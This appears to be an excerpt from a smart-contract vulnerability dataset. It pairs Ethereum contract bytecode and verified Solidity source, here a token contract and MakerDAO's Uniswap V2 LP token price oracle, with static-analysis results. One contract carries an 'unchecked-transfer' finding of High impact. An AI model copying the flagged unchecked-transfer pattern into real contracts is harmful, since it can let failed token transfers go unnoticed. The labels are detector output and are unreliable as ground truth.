fffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad9576109d46a31a17e847807b1bc000000600454611488565b8211156109e45760009050610ade565b610a2c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a600454836114a1565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ade565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7c57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f52474c530000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9757600080fd5b600560009054906101000a900460ff1615610db55760009050610dc2565b610dbf83836114bf565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110df57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116c5760009050611481565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bb5760009050611481565b6000821180156111f757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141757611282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149657fe5b818303905092915050565b60008082840190508381101515156114b557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154b576000905061170b565b60008211801561158757508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a1576115d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820b210b8b8c376c25588a669d9f25b03615549b676355e880a6b82263ee63c0af70029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
268
0x5f6dd5b421b8d92c59dc6d907c9271b1dbfe3016
/** *Submitted for verification at Etherscan.io on 2021-05-14 */ // SPDX-License-Identifier: GPL-3.0-or-later /// UNIV2LPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // A naïve approach to calculate the price of LP tokens, assuming the protocol // fee is zero, is to compute the price of the assets locked in its liquidity // pool, and divide it by the total amount of LP tokens issued: // // (p_0 * r_0 + p_1 * r_1) / LP_supply (1) // // where r_0 and r_1 are the reserves of the two tokens held by the pool, and // p_0 and p_1 are their respective prices in some reference unit of account. // // However, the price of LP tokens (i.e. pool shares) needs to be evaluated // based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values // that give the two halves of the pool equal economic value: // // r_0 * p_0 = r_1 * p_1 (2) // // Furthermore, two-asset constant product pools, neglecting fees, satisfy // (before and after trades): // // r_0 * r_1 = k (3) // // Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a // manner that depends only on k (which can be derived from the current reserve // balances, even if they are far from equilibrium) and market prices p_i // obtained from a trusted source: // // R_0 = sqrt(k * p_1 / p_0) (4) // and // R_1 = sqrt(k * p_0 / p_1) (5) // // The value of an LP token is then, replacing (4) and (5) in (1): // // (p_0 * R_0 + p_1 * R_1) / LP_supply // = 2 * sqrt(k * p_0 * p_1) / LP_supply (6) // // k can be re-expressed in terms of the current pool reserves r_0 and r_1: // // 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7) // // The structure of (7) is well-suited for use in fixed-point EVM calculations, as the // terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit, // should have reasonably-bounded sizes. This reduces the likelihood of overflow due to // tokens with very low prices but large total supplies. pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); } interface UniswapV2PairLike { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast } interface OracleLike { function read() external view returns (uint256); } // Factory for creating Uniswap V2 LP Token Oracle instances contract UNIV2LPOracleFactory { mapping(address => bool) public isOracle; event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new Uniswap V2 LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = UniswapV2PairLike(_src).token0(); address tok1 = UniswapV2PairLike(_src).token1(); orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1)); UNIV2LPOracle(orcl).rely(_owner); UNIV2LPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract UNIV2LPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow"); } function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow"); } function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt (uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "UNIV2LPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "UNIV2LPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("UNIV2LPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // Sync up reserves of uniswap liquidity pool UniswapV2PairLike(src).sync(); // Get reserves of uniswap liquidity pool (uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves(); require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves"); // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price"); // Get LP token supply uint256 supply = ERC20Like(src).totalSupply(); // This calculation should be overflow-resistant even for tokens with very high or very // low prices, as the dollar value of each reserve should lie in a fairly controlled range // regardless of the token prices. uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0 require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "UNIV2LPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "UNIV2LPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "UNIV2LPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "UNIV2LPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "UNIV2LPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610924565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610948565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3e565b6102d4610b44565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b0316610b68565b6102d4610b7a565b61018a610c40565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cb0565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e3f565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ee4565b610223610f7b565b6103a4610f8a565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f93565b6102d4611029565b6103f0611076565b604080519115158252519081900360200190f35b61040c61108f565b604080516001600160e81b039092168252519081900360200190f35b6104306110a5565b6040805161ffff9092168252519081900360200190f35b6101806110b4565b6102d46004803603602081101561046557600080fd5b50356001600160a01b031661113b565b61022361114d565b6101806004803603602081101561049357600080fd5b50356001600160a01b031661115c565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f69732d73746f707065640000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f6e6f742d7061737365640000000000000000604482015290519081900360640190fd5b5050600061067761125d565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f696e76616c69642d70726963650000000000604482015290519081900360640190fd5b6106dc6118ee565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610876576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b60016002600085858581811061088857fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e957fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f0000000000000000000000000d4a11d5eeaac28ec3f61d100daf4d40471f185281565b3360009081526020819052604090205460011461099a576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b61ffff8111156109f1576040805162461bcd60e51b815260206004820152601960248201527f554e4956324c504f7261636c652f696e76616c69642d686f7000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a90576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b60005b8181101561091f57600060026000858585818110610aad57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0e57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a93565b7f554e49563245544855534454000000000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc85760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2f576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c75650000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c905760405162461bcd60e51b815260040180806020018281038252602681526020018061194a6026913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f0000000000000000000000000d4a11d5eeaac28ec3f61d100daf4d40471f18526001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f0000000000000000000000000d4a11d5eeaac28ec3f61d100daf4d40471f18526001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f0000000000000000000000000d4a11d5eeaac28ec3f61d100daf4d40471f18526001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f0000000000000000000000000000000000000000000000000de0b6b3a76400006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f00000000000000000000000000000000000000000000000000000000000f424061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
269
0x5edfb724aa3d5e16a61975046fb4f09693fd6b50
